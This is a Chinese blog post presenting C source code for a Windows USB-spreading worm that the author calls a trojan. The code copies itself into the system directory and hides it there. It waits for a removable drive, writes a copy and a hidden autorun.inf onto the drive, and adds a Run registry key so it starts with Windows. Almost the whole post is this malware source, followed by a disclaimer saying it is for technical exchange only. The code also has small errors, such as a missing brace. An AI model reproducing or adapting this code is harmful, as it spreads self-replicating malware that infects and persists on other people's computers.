加载中…
个人资料
  • 博客等级:
  • 博客积分:
  • 博客访问:
  • 关注人气:
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

U盘感染 框架代码

(2012-05-18 11:51:25)
标签:

杂谈

分类: 技术文章

#include "stdafx.h"
#include <windows.h>
#include "stdio.h"
#include "shellapi.h"
void Uvirus();
char DriverName[4];
char USB;
bool CheckDisk();
void ScanDisk();
void run();
char SystemPath[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  // TODO: Place code here.
 ScanDisk();
 Uvirus();
    run();
 return 0;
}

void Uvirus()
{


   char selfpath[MAX_PATH];
    GetModuleFileName(NULL,selfpath,MAX_PATH);
 if (GetSystemDirectory(SystemPath,MAX_PATH))
 {


  strcat(SystemPath,"\\Uxhj.exe");
  CopyFile(selfpath,SystemPath,false);
        Sleep(1000);
  WIN32_FIND_DATA ffd ;
  HANDLE hFind = FindFirstFile(SystemPath, &ffd);//判断文件的存在是否
  if ( hFind == NULL)
  {
   MessageBox(NULL,"错误",NULL,NULL);
   return;
  }
//  MessageBox(NULL,selfpath,SystemPath,NULL);
  if (strcmp(SystemPath,selfpath)==0)//这句代码比较自身路径释放路径相等就退出 不加的话会循环的
  {
   return;
  }
     SetFileAttributes(SystemPath, FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);//设置隐藏属性
     WinExec(SystemPath,SW_HIDE);
   //复制到u盘
  char UFilePath[MAX_PATH];
  GetModuleFileName(NULL,UFilePath,MAX_PATH);
        strcpy(UFilePath, &USB);
  strcat(UFilePath,":\\system.exe");

        CopyFile(SystemPath,UFilePath,false);


  char Uinf[MAX_PATH];//创建一个autorun.inf的的文件 用c的库函数操作 前面记得加上stdio
        strcpy(Uinf, &USB);
  strcat(Uinf,":\\autorun.inf");

     FILE* fp = NULL;
  fp = fopen(Uinf,"w");
  fprintf(fp,"%s\n%s","[AutoRun]","open=shell\\open\\command=system.exe\nopen=system.exe\nshell\\explore\\Command=system.exe");
     fclose(fp);
     SetFileAttributes(Uinf, FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);//设置隐藏属性

 }
}


bool CheckDisk()//获取U盘的盘符
{
 strcpy(DriverName, "C:\0");
 for( DriverName[0] = 'C'; DriverName[0] < 'Z'; DriverName[0]++ )
 {
  if( GetDriveType( DriverName ) == DRIVE_REMOVABLE )
  {
   USB = DriverName[0];
   return true;
  }
 }
 return false;
}

void ScanDisk()//循环监听是否有U盘插入
{
 while( !CheckDisk() )
 {
  Sleep(15000);

 }
}

 
void run()//给木马加入启动项
  
 HKEY key;
 char exe[]="C:\\WINDOWS\\system32\\Uxhj.exe";
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",NULL,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)
 {
  RegSetValueEx(key,("Uxhj"),NULL,REG_SZ,(BYTE*)exe,sizeof(exe));
 }
   RegCloseKey(key);
}

不要用做非法用途  只做技术交流之用
转载请说明来自 http://blog.sina.com.cn/XGNHACK

0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有